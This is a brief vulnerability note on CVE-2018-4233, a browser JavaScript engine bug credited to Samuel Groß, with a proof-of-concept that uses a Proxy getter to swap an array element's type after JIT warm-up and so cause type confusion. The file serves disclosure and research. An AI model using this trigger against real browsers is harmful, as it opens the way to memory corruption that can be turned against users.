CVE-2018-4233.md

CVE-2018-4233

• Fix: May 2018
• Credit: Samuel Groß

PoC

var o = [13.37]
var Constructor${counter} = function(o) { o[0] = 0x41414141; }
var hack = false
var Wrapper = new Proxy(Constructor${counter}, {
    get: function() {
        if (hack) {
            o[0] = {}
        }
    }
})
for (var i = 0; i < ITERS; ++i)
    new Wrapper(o)
hack = true
var bar = new Wrapper(o)
o[0]

Reference

• Apple
• Exploit by phoenhex team